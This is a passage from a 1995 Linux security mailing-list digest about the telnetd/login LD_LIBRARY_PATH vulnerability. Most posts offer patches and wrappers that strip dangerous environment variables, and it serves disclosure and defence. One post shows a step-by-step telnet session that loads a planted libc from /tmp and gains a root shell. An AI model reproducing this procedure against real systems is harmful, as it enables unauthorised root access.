"Breakin attempt from %s: '%s=%s'", host, varp, valp); + } else { + syslog(LOG_ALERT, "Breakin attempt: '%s=%s'", varp, valp); + } + exit(1); + } (void)setenv(varp, valp, 1); - - else + } else unsetenv(varp); break; } /* end of case TELOPT_ENVIRON */ Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 - -- [email protected] | Linux : the choice of a GNU generation ------------------------------ From: [email protected] (Alan Cox) Date: Mon, 6 Nov 1995 11:39:51 +0000 (GMT) Subject: Re: SSLtelnet patch > This patch address the current CERT advisory about the telnet > vulnerability. It was created under linux using SSLtelnet 0.2. > Iam not sure what the latest is but here it is anyway. > You need to change LD_LIBRARY_PATH to whatever is dangerous in your > OS. > No it doesnt. There are other variables you must clear (PRELOAD/ELF/AOUT only variables) - and if you use login shell scripts for restricted acocunts IFS. Alan ------------------------------ From: SysAdmin - TNET Systems Date: Mon, 6 Nov 1995 07:17:37 -0600 (CST) Subject: ld.so gaping hole. Ok folks, listen up... the telnetd hole was minor, because anyone could use the LD_LIBRARY_PATH and LD_PRELOAD to get root with just about anything. patching login, telnetd, ect ect is not going to fix this problem. You have to start at the source. ld.so All it took, was two lines of preprocessor code in the source file ld.so.c No huge patches, ect. The following describes the course of action I took: 1) got myself the source to ld.so 1.5.3 2) commented out the environment variable(s) checks by using a #ifndef __BIG_HOLE__, #endif Specificly: LD_LIBRARY_PATH and LD_PRELOAD were commented out. 3) recompiled and installed ld.so while defining __BIG_HOLE__ LD_PRELOAD, LD_LIBRARY_PATH are really not needed. If you are going to use them, rename them, hash the names up in the ld.so binary (evade strings), or use some sort of protocol for specifying them. For example, modify the ld.so.c file to search for a special char, of your choosing, in the environment variables. If not present, ignore the variables. So not only to you get to save disk space (although nominal) over adding patches, or wrappers... you get an even much more securer system. Why was this not mentioned previously ? It took me 5 minutes to patch/compile/install the new ld.so (not counting the fact that I had gotten previously the source to an ELF ld.so when I am a.out :/ 1.7.3 is elf, and elf only. For a.out users, use 1.5.3) Special thanks to Medulla for the idea and assitance behind this one. Chad Giffin TNET Information Systems Canada [email protected] (204) 857-5754 ------------------------------ From: medulla Date: Mon, 6 Nov 1995 06:11:30 -0500 (EST) Subject: linux a.out ld.so problem While I was playing around with the telnetd hole, I noticed something terribly wrong with a.out systems (elf is fine in my test). It seems that even if a program is suid or sgid, that the LD_LIBRARY_PATH is still being used, so setting login g+s will have no effect (and more worrisome is that any suid program can be abused to get root). Here is a example, am I missing something obvious? The ld.so man page clearly says the variable(s) are ignored when the app is suid or sgid, but this doesnt appear to be the case. - --- snip hfpa:~# cp /lib/libc.so.4 /tmp hfpa:~# cp /bin/ls . hfpa:~# chmod g+s ls hfpa:~# strace -o ls.1 ./ls hfpa:~# grep /tmp ls.1 hfpa:~# setenv LD_LIBRARY_PATH /tmp hfpa:~# strace -o ls.2 ./ls hfpa:~# grep /tmp ls.2 uselib("/tmp/libc.so.4") = 0 - --- snip ------------------------------ From: [email protected] (Thomas Quinot) Date: Mon, 6 Nov 95 18:03 MET Subject: (fwd) Telnetd Security Hole From: Cy Schubert - BCSC Open Systems Group Message-ID: <[email protected]> X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol X-Mailer: DXmail X-Old-To: [email protected] cc: [email protected] Subject: Telnetd Security Hole Date: Thu, 02 Nov 95 21:21:35 -0800 X-Mts: smtp Precedence: list Sender: [email protected] Approved: [email protected] Newsgroups: linux.security Path: melchior.cuivre.fdn.fr!Mail-to-News Lines: 79 In response to the CERT advisory regarding the telentd seurity hole that causes /bin/login to relinquish a root shell, I have put together a patch for telnetd in the NetKit-B-0.5 package, based on a FreeBSD patch posted by Mark Hittinger ([email protected]) to the comp.security.unix newsgroup. Note that the changes to telnetd.h compensate for kernel changes made after NetKit-B-0.5 came out. It's been tested for an evening, so no guarentees are made. *** sys_term.org Sun Sep 10 04:39:50 1995 - --- sys_term.c Wed Nov 1 10:43:32 1995 *************** *** 1292,1295 **** - --- 1292,1297 ---- char **addarg(); + scrub_env(); + /* * -h : pass on name of host. *************** *** 1392,1395 **** - --- 1395,1424 ---- } #endif /* NEWINIT */ + + /* + * scrub_env() + * + * Remove a few things from the environment that + * don't need to be there. + */ + scrub_env() + { + register char **cpp, **cpp2; + + for (cpp2 = cpp = environ; *cpp; cpp++) { + #ifdef __FreeBSD__ + if (strncmp(*cpp, "LD_LIBRARY_PATH=", 16) && + strncmp(*cpp, "LD_NOSTD_PATH=", 14) && + strncmp(*cpp, "LD_PRELOAD=", 11) && + #else + if (strncmp(*cpp, "LD_", 3) && + strncmp(*cpp, "_RLD_", 5) && + strncmp(*cpp, "LIBPATH=", 8) && + #endif + strncmp(*cpp, "IFS=", 4)) + *cpp2++ = *cpp; + } + *cpp2 = 0; + } /* *** telnetd.h.orig Thu Nov 2 20:14:33 1995 - --- telnetd.h Thu Nov 2 19:52:14 1995 *************** *** 47,49 **** - --- 47,54 ---- /* other external variables */ extern char **environ; extern int errno; + + #define TELOPT_ENVIRON TELOPT_OLD_ENVIRON + #define ENV_VAR OLD_ENV_VAR + #define ENV_VAR OLD_ENV_VAR + #define ENV_VALUE OLD_ENV_VALUE Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." - -- [email protected] | Linux : the choice of a GNU generation ------------------------------ End of linux-security-digest V1 #44 *********************************** linux-security-digest/1995/v01.n045100664 1767 1767 47116 6050217776 16072 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #45 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 8 November 1995 Volume 01 : Number 045 Surge in list traffic, pending removal of linux-alert-digest. Re: linux a.out ld.so problem Re: BoS: Telnetd Environment Vulnerability Re: linux a.out ld.so problem Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Re: double security digest vol 01 number 043 Re: Surge in list traffic, pending removal of linux-alert-digest. Re: linux a.out ld.so problem Re: linux a.out ld.so problem Re: ld.so gaping hole. ---------------------------------------------------------------------- From: Jeff Uphoff Date: Mon, 6 Nov 1995 16:04:15 -0500 Subject: Surge in list traffic, pending removal of linux-alert-digest. As most of you have probably noticed, there has been a sudden surge in linux-security list traffic--primarily related to the telnetd/login hole. If you find that you're getting more messages than you want from this list, you may want to unsubscribe from the linux-security list and subscribe yourself to the linux-alert-digest list. (You will then get all the traffic in summary/digest messages, delayed until either 500 lines of posts have built up or until one week has passed since the first post in the digest, whichever occurs first.) I am, for the most part, just forwarding on posts related to telnetd/login due to there being so many of them and my not having time to analyze them for correctness (especially in the cases of code patches, which I am forwarding on untested and largely unread). If you find problems with a patch, please let me know and I will forward it on to the list. As for the linux-alert-digest list, I have decided that it is pretty much useless; there are very few linux-alert posts, so subscribers to linux-alert-digest wind up getting the same number of messages as linux-alert subscribers--only the messages (usually important ones!) are delayed by one week. This being the case, I plan on removing the linux-alert-digest list from the server and moving all of its subscribers over to the linux-alert list. I will pass word via all lists once this is done. (I may also make some sort of c.o.l.announce post.) I plan on doing this sometime in November (hopefully). - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: Aleph One Date: Mon, 6 Nov 1995 14:32:41 -0600 (CST) Subject: Re: linux a.out ld.so problem Where you fall in the same trap that telnetd did. You are obiusly root because you need to be to run strace on ls. There for the test for suidness will fail because ruid == euid. Try doing the test without being root. Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 On Mon, 6 Nov 1995, medulla wrote: > Date: Mon, 6 Nov 1995 06:11:30 -0500 (EST) > From: medulla > To: [email protected] > Subject: linux a.out ld.so problem > > While I was playing around with the telnetd hole, I noticed something > terribly wrong with a.out systems (elf is fine in my test). It seems that > even if a program is suid or sgid, that the LD_LIBRARY_PATH is still being > used, so setting login g+s will have no effect (and more worrisome is that > any suid program can be abused to get root). Here is a example, am I missing > something obvious? The ld.so man page clearly says the variable(s) are > ignored when the app is suid or sgid, but this doesnt appear to be the case. > --- snip > hfpa:~# cp /lib/libc.so.4 /tmp > hfpa:~# cp /bin/ls . > hfpa:~# chmod g+s ls > hfpa:~# strace -o ls.1 ./ls > > hfpa:~# grep /tmp ls.1 > hfpa:~# setenv LD_LIBRARY_PATH /tmp > hfpa:~# strace -o ls.2 ./ls > > hfpa:~# grep /tmp ls.2 > uselib("/tmp/libc.so.4") = 0 > > --- snip > ------------------------------ From: Aleph One Date: Mon, 6 Nov 1995 15:45:23 -0600 (CST) Subject: Re: BoS: Telnetd Environment Vulnerability Althrough this is more secure you are making assmptions about what kind of softwrare the site run. There may be any number of variable that are plattaform indepenand, etc. The best fix I've seen yet is the aproach taken by HP. You must tell the compiler by means of a flag that you want your program to use the LD_* variables. This secures all software, but mantains the flexibility for the developer how just needs to compile with this flags. The down side are that a) the gcc maintainers would have to add this to the linux compiler (anyone on the gcc mailing list reading this?) b) all software would have to be recompiled. For now compiling telnetd to filter the unwated variables should do. But it would be nice if the gcc people pick this tip up. Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 On Mon, 6 Nov 1995, Peter da Silva wrote: [Mod: Quoting trimmed. --Jeff.] > Wouldn't it be safer to do something like: > > if(strncmp(*p1, "TERM=", 5) == 0 || > strncmp(*p1, "DISPLAY=", 8) == 0) *p2++ = *p1; > > Is there any reason to copy the environment over to a possibly completely > different architecture? There's only a few variables that really need to be > transferred... > ------------------------------ From: [email protected] (Adrian ) Date: Mon, 6 Nov 1995 18:30:28 -0600 Subject: Re: linux a.out ld.so problem > While I was playing around with the telnetd hole, I noticed something > terribly wrong with a.out systems (elf is fine in my test). It seems that > even if a program is suid or sgid, that the LD_LIBRARY_PATH is still being > used, so setting login g+s will have no effect (and more worrisome is that > any suid program can be abused to get root). Here is a example, am I missing > something obvious? The ld.so man page clearly says the variable(s) are > ignored when the app is suid or sgid, but this doesnt appear to be the case. > --- snip > hfpa:~# cp /lib/libc.so.4 /tmp > hfpa:~# cp /bin/ls . > hfpa:~# chmod g+s ls > hfpa:~# strace -o ls.1 ./ls > > hfpa:~# grep /tmp ls.1 > hfpa:~# setenv LD_LIBRARY_PATH /tmp > hfpa:~# strace -o ls.2 ./ls > > hfpa:~# grep /tmp ls.2 > uselib("/tmp/libc.so.4") = 0 > > --- snip I'm not sure why elf might be different, but I see a problem with your demonstration. I'm assuming that the "#" in your prompt means that you are root. The key thing is not that the s-uid bit is set on the target binary, when you attempt to alter the LD_LIBRARY_PATH. Rather it is the difference between the ruid and the euid when the target binary loads. When a normal user executes a set-uid binary owned by root, that normal users uid will remain the real-uid while then effective-uid will be changed to root, so the two won't match, and the LD_LIBRARY_PATH environment variable will be ignored. If you are root when you execute the target binary, the set-uid bit on a root owned set-uid binary will have no real effect. The ruid and euid will still be equal, so the LD_LIBRARY_PATH variable will have its effect. - --- L. Adrian Griffis [email protected] ------------------------------ From: Mike McCammant Date: Tue, 7 Nov 1995 00:36:52 -0500 (EST) Subject: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability I completed compiling and installing the wrapper on my linux system and it appears to work great. However, I wanted info on who/when/how this was attempted. So I added a few lines to do a syslog dump and close the connection. If you don't want to close the connection, just remove the exit(1) statement as noted in the code. - -------------------------cut here------------------------- /* * This is a login wrapper that removes all instances of * various variables from the environment. * * Note: this program must be compiled statically to be * effective against exploitation. * /usr/bin/cc -static -D_PPATH_LOGIN=\"/bin/login.real\" -O wrap.c -o wrap * * Author: Lawrence R. Rogers * * 10/25/95 version 1.1 Original version * 10/26/95 version 1.2 ELF_ variables removed (Linux) * 10/27/95 version 1.3 ELF_ changed to ELF_LD_ * Added AOUT_LD_ (Linux) * * 11/6/95 version 1.4 Added a cheap dump of the argv array to * syslog. I like to know ;) * Mike McCammant ([email protected]) * */ #if !defined(_PPATH_LOGIN) #define _PPATH_LOGIN "/bin/login.real" #endif #include #include main (argc, argv, envp) int argc; char **argv, **envp; { register char **p1, **p2; int i; for (p1 = p2 = envp; *p1; p1++) { if (strncmp(*p1, "LD_", 3) != 0 && strncmp(*p1, "_RLD", 4) != 0 && strncmp(*p1, "LIBPATH=", 8) != 0 && strncmp(*p1, "ELF_LD_", 7) != 0 && strncmp(*p1, "AOUT_LD_", 8) != 0 && strncmp(*p1, "IFS=", 4) != 0 ) { *p2++ = *p1; } else { /* here is a break in ??? */ syslog(LOG_ALERT, "Breakin attempt: %s", *p1); for(i=0;i Date: Tue, 7 Nov 1995 10:58:04 -0500 Subject: Re: double security digest vol 01 number 043 - -----BEGIN PGP SIGNED MESSAGE----- "MVD" == Marc VAN DIEST writes: MVD> I received this week two linux security digest with the same number, both MVD> dated sun 05-11-1995. I also noticed that this had happened. I appears to be due to a bug in Majordomo. MVD> The contents are, according to a diff, certainly not the same. There were indeed two #43 digests, with completely different contents. Unfortunately, since the digests' archive filenames are based on their number, only the second #43 now resides in the FTP archive (having overwritten the first). MVD> Is there something wrong in the numbering, or is one of them a fake? The problem is that I approved, en masse, a large number of posts to linux-security, one of which was, single-handedly, over the digest-generation threshold (500 lines). Majordomo was not finished processing the first digest when it found that it had to generate a second, and it does not appear to do any locking on the file that contains the sequence numbers (the digest list's master configuration file). I don't really plan on trying to track and correct this bug (it could turn out to be a bit of a time sink)--I'll just be more careful about approving large numbers of posts in the future. MVD> For security issues such strange things ring bells. I agree. - - --Up. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMJ+CArxzFUpUTHgFAQG/wwQAjPtRcRMjfpBslCTEtuK4+q9y9TEJamqI O6lnwy9+cIHMCpPG39pmbuVlaziw8DerZryuaP4YWV8Bo2+tAWCUcLjehdSZooFk deASYseIL4J8B52+XGC1H0q34deMGyfI9fsCMALisA92vw+5Se3S1Zr69y3w6Fu7 vyLnixI9k0M= =axb1 - -----END PGP SIGNATURE----- ------------------------------ From: Jeff Uphoff Date: Tue, 7 Nov 1995 14:31:24 -0500 Subject: Re: Surge in list traffic, pending removal of linux-alert-digest. - -----BEGIN PGP SIGNED MESSAGE----- "Up" == Jeff Uphoff writes: Up> If you find that you're getting more messages than you want from Up> this list, you may want to unsubscribe from the linux-security list Up> and subscribe yourself to the linux-alert-digest list. ^^^^^ Oops! There's a typo in the above that I must correct. That should read "linux-security-digest", (*not* "linux-alert-digest"). Thanks to Kai Henningsen for pointing this mistake out to me. - - --Up. - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMJ+z9rxzFUpUTHgFAQEAuQQAvkOyOsJRrk/qdZiAGi7ZjB3Qu4X0ATK3 3lrrj5jpN2amNpS0Ylvz1rCfEMvvGYXbq3ZNL87AkHSQpddTdsUatFqzWyc0zkRC FW3trZwSATDJWPAgASae0BJ0CB7byra8gpjiOXBOaVYMFFcHhTKFSGX9jrid9Kso 9NEz6OesTyE= =F/mI - -----END PGP SIGNATURE----- ------------------------------ From: medulla Date: Tue, 7 Nov 1995 00:24:29 -0500 (EST) Subject: Re: linux a.out ld.so problem On Mon, 6 Nov 1995, Aleph One wrote: > Where you fall in the same trap that telnetd did. You are obiusly root > because you need to be to run strace on ls. There for the test for suidness > will fail because ruid == euid. Try doing the test without being root. Well, that was just a sample. I managed to get root with a libc patch with login sgid, suid, and sug and sgid. It makes no difference on the a.out machines I tested it on (all nonshadowed). > > Aleph One / [email protected] > http://underground.org/ > KeyID 1024/948FD6B5 > Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 > ------------------------------ From: medulla Date: Tue, 7 Nov 1995 00:41:49 -0500 (EST) Subject: Re: linux a.out ld.so problem On Mon, 6 Nov 1995, Adrian wrote: > > I'm not sure why elf might be different, but I see a problem with > your demonstration. I'm assuming that the "#" in your prompt means > that you are root. The key thing is not that the s-uid bit is set > on the target binary, when you attempt to alter the LD_LIBRARY_PATH. > Rather it is the difference between the ruid and the euid when the > target binary loads. When a normal user executes a set-uid binary > owned by root, that normal users uid will remain the real-uid while > then effective-uid will be changed to root, so the two won't match, > and the LD_LIBRARY_PATH environment variable will be ignored. If > you are root when you execute the target binary, the set-uid bit > on a root owned set-uid binary will have no real effect. The > ruid and euid will still be equal, so the LD_LIBRARY_PATH variable > will have its effect. You're right, my demonstration is quite flawed :( here is a somewhat better one I just did... hfpa:~> ls -l /bin/login - -rwxr-sr-x 1 root daemon 6752 Nov 7 00:46 /bin/login hfpa:~> ls -l /tmp/libc.so.4 - -rw-rw-r-- 1 medulla users 716612 Nov 7 00:51 /tmp/libc.so.4 hfpa:~> id uid=504(medulla) gid=100(users) groups=100(users),0(root),18(web) hfpa:~> telnet telnet> env def LD_LIBRARY_PATH /tmp telnet> env exp LD_LIBRARY_PATH telnet> o localhost Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Welcome to hfpa medulla@localhost! Linux 1.2.13 (hfpa.thepoint.net) (ttyp1) hfpa login: nosuchuser Password: bash# id uid=0(root) gid=0(root) egid=2(daemon) > > --- > L. Adrian Griffis > [email protected] > > ------------------------------ From: SysAdmin - TNET Systems Date: Mon, 6 Nov 1995 23:55:19 -0600 (CST) Subject: Re: ld.so gaping hole. On Mon, 6 Nov 1995, Joshua Cowan wrote: > CG> the telnetd hole was minor, because anyone could use the I meant simply, the alledged 'telnet bug' was only a symtom of a much larger problem, which is the hole(s) in ld.so. > CG> LD_LIBRARY_PATH and LD_PRELOAD to get root with just about > CG> anything. patching login, telnetd, ect ect is not going to > CG> fix this problem. > > Uh, no. And yes, patching `telnetd' (or statically linking `login', > or using a wrapper) will fix this problem. > I meant it will not fix the 'ld.so' hole. I don't think you understand how big this hole is or how much of a problem it is. A wrapper on 'login' or modifications to 'telnetd' will fix the telnet hole. Staticly linking login, as well as setting the SUID/GUID bits did not correct the problem for me. I am using a.out 1.3.37, ld.so 1.5.3. None of the 'quick fixes' other then modifying telnetd worked for me. I am baffled on why static linking did not work. However, a few have reported the same results with static linking. :/ > CG> LD_PRELOAD, LD_LIBRARY_PATH are really not needed. If you > > Although I agree that many utilities are at least somewhat subject to > creeping featurism, I would have to disagree with this one. If you > want to test a dynamically-linked binary without installing the > dynamic-lib (and you don't want to use `-rpath'), then this becomes > very useful. > * > CG> are going to use them, rename them, hash the names up in the > CG> ld.so binary (evade strings), or use some sort of protocol > CG> for specifying them. > > You may as well disable them altogether if you are going to do this. > Besides, this is not virus code we are dealing with and we don't need > really to ``hide'' the variables values from anyone. > The point is: any user can run 'strings' on 'ld.so' and check for the names of the environment variables. Masking these names from 'strings' would be an appropriate answer to this problem. Remember, this is about security, and the balance of security between ease of use. > CG> For example, modify the ld.so.c file to search for a special > CG> char, of your choosing, in the environment variables. If > CG> not present, ignore the variables. > > Again, this is (IMHO) pointless --- you may as well remove the > features altogether. It is very conceivable that other users on the > system may have need for these features, in which case doing this > would only make your job more difficult. > * If you have users wanting to redirect the loading of a library, then the users should very well be informed of the new names of the environment variables. I cannot see how this would be a problem. If you have developers on your system, and trust them to use different libraries, then they are obviously trusted enough to obtain this information Another option, and a much better one at that, would be to edit ld.so.c to only allow the use of these environment vars if the user belongs to a specific group, eg: developers Using this method, you could keep the old names of the environment vars, and allow trusted users access to that particular group. > CG> So not only to you get to save disk space (although nominal) > CG> over adding patches, or wrappers... you get an even much > CG> more securer system. > > Well, I'd have to agree that it _is_ more secure, although I don't > know how much. I personally think that the features are worth what > little trouble they cause. > consider a user having used another program, other then 'login', to gain access to this hole. This is what I am trying to avoid. Any SUID binary on your system can be exploited this way. Chad Giffin TNET Information Systems, Canada (204) 857-5754 [email protected] - --- ------------------------------ End of linux-security-digest V1 #45 *********************************** linux-security-digest/1995/v01.n046100664 1767 1767 47110 6050511051 16044 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #46 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 9 November 1995 Volume 01 : Number 046 Re: linux a.out ld.so problem "Source Route Failed" anyone else? Re: ld.so gaping hole. Re: SSLtelnet patch Thread on telnet, $LD_LIBRARY_PATH security problems. Re: telnetd shared lib hole Re: telnetd hole Re: ld.so gaping hole. Re: telnetd hole Another possible problem with ld.so? Slight change in Majordomo server delivery, but don't worry... ---------------------------------------------------------------------- From: Jon Lewis Date: Tue, 7 Nov 1995 01:07:32 -0500 (EST) Subject: Re: linux a.out ld.so problem On Mon, 6 Nov 1995, medulla wrote: > something obvious? The ld.so man page clearly says the variable(s) are > ignored when the app is suid or sgid, but this doesnt appear to be the case. > hfpa:~# setenv LD_LIBRARY_PATH /tmp > hfpa:~# strace -o ls.2 ./ls > > hfpa:~# grep /tmp ls.2 > uselib("/tmp/libc.so.4") = 0 I get the same thing and thought at first that it might be caused by you doing all this as root...but its not. I get the same results...but I think it may not be a problem. Even though I see the 'uselib("/tmp/libc.so.4") = 0' in the trace, I see none of the signs that my hacked libc was actually used. It should have tried adding to /etc/passwd and created a file in /tmp...but neither happened, and I know this libc will work when used in the telnet hole. - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ ------------------------------ From: [email protected] (Scott Jennings) Date: 7 Nov 1995 07:55:40 GMT Subject: "Source Route Failed" anyone else? I didn't think anyone still transited source routed packets... I get this much every day. Is this normal, or is someone pounding on the door? Oct 30 18:11:28 au.oro.net kernel: ICMP: 152.163.172.53: Source Route Failed. Oct 30 18:44:50 au.oro.net kernel: ICMP: 199.191.145.102: Source Route Failed. Oct 30 19:28:19 au.oro.net kernel: ICMP: 198.81.10.12: Source Route Failed. Oct 30 20:27:28 au.oro.net kernel: ICMP: 198.81.10.12: Source Route Failed. Oct 30 20:42:20 au.oro.net kernel: ICMP: 199.191.145.102: Source Route Failed. Oct 30 20:45:32 au.oro.net kernel: ICMP: 192.82.108.1: Source Route Failed. [Mod: Roughly 300 similar lines deleted in the interest of conserving bandwidth. --Jeff.] ------------------------------ From: Joshua Cowan Date: Tue, 7 Nov 1995 02:24:24 -0600 Subject: Re: ld.so gaping hole. >>>>> "CG" == SysAdmin <- TNET Systems > writes: CG> I meant it will not fix the 'ld.so' hole. I don't think you CG> understand how big this hole is or how much of a problem it CG> is. This is correct, I don't understand how big this ``hole'' is or even where it is. ;-) I don't think you understand this feature's implementation, but that doesn't mean you don't. :-) CG> other then modifying telnetd worked for me. I am baffled on CG> why static linking did not work. However, a few have reported CG> the same results with static linking. :/ Hmm... If this is accurate, then this _is_ a problem (again, IMHO) - --- albeit not the ``hole'' that you are reporting. I don't see how the dynamic linker can be coerced into replacing symbols in the executable image with external ones, tho --- it's job is to resolve the undefined symbols only, AFIAK. CG> The point is: any user can run 'strings' on 'ld.so' and check CG> for the names of the environment variables. Masking these CG> names from 'strings' would be an appropriate answer to this CG> problem. Remember, this is about security, and the balance of CG> security between ease of use. I don't think this is a problem under the current implementation: it would be a pain for each site to generate a ``password'' so it could protect a feature of `ld.so' from ``normal'' users (I say ``password'' because that is essentially what this is doing). As far as increased security with the dynamic linker, the HP implementation as described by Aleph One is the best I've heard thus far (although it would mean another big change in the system software). I happen to think the implementation of `ld.so' is _at_least_ adequate, tho. CG> would be a problem. If you have developers on your system, CG> and trust them to use different libraries, then they are CG> obviously trusted enough to obtain this information CG> if the user belongs to a specific group, eg: developers Using CG> this method, you could keep the old names of the environment CG> vars, and allow trusted users access to that particular group. I imagine this being bothersome, especially when you consider that, if you use the first suggestion, you will have to implement a site-dependent method of generating the environment strings (and that would be a _big_ problem for distribution developers). As for the second, sites would inevitably end up with uid 0 in the group of trusted users and encounter the same problem all over again. CG> 'login', to gain access to this hole. This is what I am CG> trying to avoid. Any SUID binary on your system can be CG> exploited this way. It (the telnetd hole) has nothing to do with the binary being suid/sgid. - -- Joshua Cowan __| I don't want to listen http://hermit.reslife.okstate.edu/~jcowan | but it's all too clear... Computer Engineering Student -- Oklahoma State University -- Stillwater, OK PGP key available from any PGP keyserver or by fingering the above address. ------------------------------ From: "Peter Tobias" Date: Wed, 8 Nov 1995 00:54:40 +0100 (MET) Subject: Re: SSLtelnet patch Alan Cox wrote: > > > This patch address the current CERT advisory about the telnet > > vulnerability. It was created under linux using SSLtelnet 0.2. > > Iam not sure what the latest is but here it is anyway. > > You need to change LD_LIBRARY_PATH to whatever is dangerous in your > > OS. > > > No it doesnt. There are other variables you must clear (PRELOAD/ELF/AOUT > only variables) - and if you use login shell scripts for restricted acocunts > IFS. And probably ENV (bash). With ENV you can start a script _before_ it will start the login shell script. With a simple script you can gain access to all such accounts. I changed the telnetd of the Debian distribution to not export ENV. Other distribution maintainers should do the same. Peter - -- Peter Tobias EMail: Fachhochschule Ostfriesland [email protected] Fachbereich Elektrotechnik und Informatik [email protected] Constantiaplatz 4, 26723 Emden, Germany ------------------------------ From: Jeff Uphoff Date: Wed, 8 Nov 1995 23:17:36 -0500 Subject: Thread on telnet, $LD_LIBRARY_PATH security problems. - -----BEGIN PGP SIGNED MESSAGE----- There has been quite a flood of list traffic on this thread, as I'm sure most of you have noticed by now... In order to try to reduce the traffic volume, I am now no longer going to approve posts that solely reiterate fun behavioral aspects of ld.so, strace, telnet, etc., based on such things as setuid and setgid attributes, as well as posts that only say "I can't duplicate this," "I've found this neat trick that I can do with $LD_LIBRARY_PATH," etc. These subjects are really starting to get beaten to death! If you find something that truly looks like a new hole or previously-unmentioned security issue, I'll forward it to the list. But issues that appear to be solely due to buggy behavior from ld.so, $LD_LIBRARY_PATH, and the like, should probably be taken to the [email protected] list, which is concerned with the development of the compilers, libraries, and the like for Linux. Many posts that I have received on this issue appear to have been personal responses to previous posts, with the linux-security list CC:'d on the message. I won't be approving any more of these either--unless they really have some interesting information in them that I think the over 1200 people on the linux-security list would be interested in. - - --Up. P.S. Those that remember the early days of these lists probably remember the great shadow password thread that went wild, would not die, and annoyed several people (including some rather prominent ones) to the point that they unsubscribed from the lists. I'm trying to prevent a repeat of that now by tightening the moderation criteria in the same way that I did then. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKGAy7xzFUpUTHgFAQGnLAP+NU9UnmpDd+DZ3Z6omoLJU6Pbr4qcELfl 51eSeYM2aki3n9MqBD3BLx7iNV7Wv2C1T3DcLeN/oU/PTsungVXQkhoASFHmsJa8 VVbaBRMFJMxvlF5x4ysibauIwW2FS7SqRWJuc7npGjQ4+D52vD4PqUKdppRDGnNI Z7oIgScsAkM= =r3BX - -----END PGP SIGNATURE----- - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (Alan Cox) Date: Mon, 6 Nov 1995 11:35:32 +0000 (GMT) Subject: Re: telnetd shared lib hole > Call me silly, but since this hole operates by "secretly replacing your > real libc with Foldgers Crystals libc" and having telnetd use the bogus > libc, would all this be fixed with no need for careful patching / > environment cleaning if we simply compiled telnetd and statically linked > it? Then it would need no shared libs, and you'd be unable to force it to > load a hacked libc...no? > > It may not be an elegant solution...but is it one at all? No. Its telnetd running login that is the problem. A static login helps a lot. Some people are working on a telnetd that has a config file of allowed environment variables to pass. Alan ------------------------------ From: David Hedley Date: Tue, 07 Nov 95 12:09:39 +0000 Subject: Re: telnetd hole - -----BEGIN PGP SIGNED MESSAGE----- It seems to me that the crux of the problem lies with what the LD_LIBRARY_PATH (and others) are supposed to do. IMHO LD_LIBRARY_PATH should be used only to specify _additional_ libraries, over and above those given in /etc/ld.so.conf. In this way it wouldn't matter what it was set to as libraries in /lib, /usr/lib etc will always be searched first. After all, the only times you wants to _replace_ the standard library is when you are either cracking the system, or developing a new library. Thoughts? David - - -- David Hedley ([email protected]) http://www.cs.bris.ac.uk/~hedley/ finger [email protected] for PGP key Computer Graphics Group | University of Bristol | UK *** All opinions expressed are mine and mine alone *** - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Processed by Mailcrypt 3.3, an Emacs/PGP interface iQCVAwUBMJ9MRli5qrCO/mUBAQFi/AQAlETQ4cVZ439+RTTjLc/HAgbhDdE2ge+N rqg/4L9mcaM+kzyxIXIrWs4Gc90y4jwm3oyk1j9Y0bd5otvq2ST/azHxDNUVrVrR PkbefZe19oJhdanwEckflZkGt8JEF7o8knrdu6Q0iOzeoXH6zpUMKty/kEM1sD/w B/sl/I2triU= =j22g - -----END PGP SIGNATURE----- ------------------------------ From: SysAdmin - TNET Systems Date: Tue, 7 Nov 1995 14:04:41 -0600 (CST) Subject: Re: ld.so gaping hole. On Tue, 7 Nov 1995, Joshua Cowan wrote: > CG> I meant it will not fix the 'ld.so' hole. I don't think you > CG> understand how big this hole is or how much of a problem it > CG> is. > > This is correct, I don't understand how big this ``hole'' is or even > where it is. ;-) I don't think you understand this feature's > implementation, but that doesn't mean you don't. :-) > > CG> 'login', to gain access to this hole. This is what I am > CG> trying to avoid. Any SUID binary on your system can be > CG> exploited this way. > > It (the telnetd hole) has nothing to do with the binary being > suid/sgid. > Aha! =) The answer comes to me: I was using ld.so as distibuted in the slackware 2.3 package from tsx-11. it was not doing the EUID/UID comfirmation. Thusly, I was able to gain root as a non-root 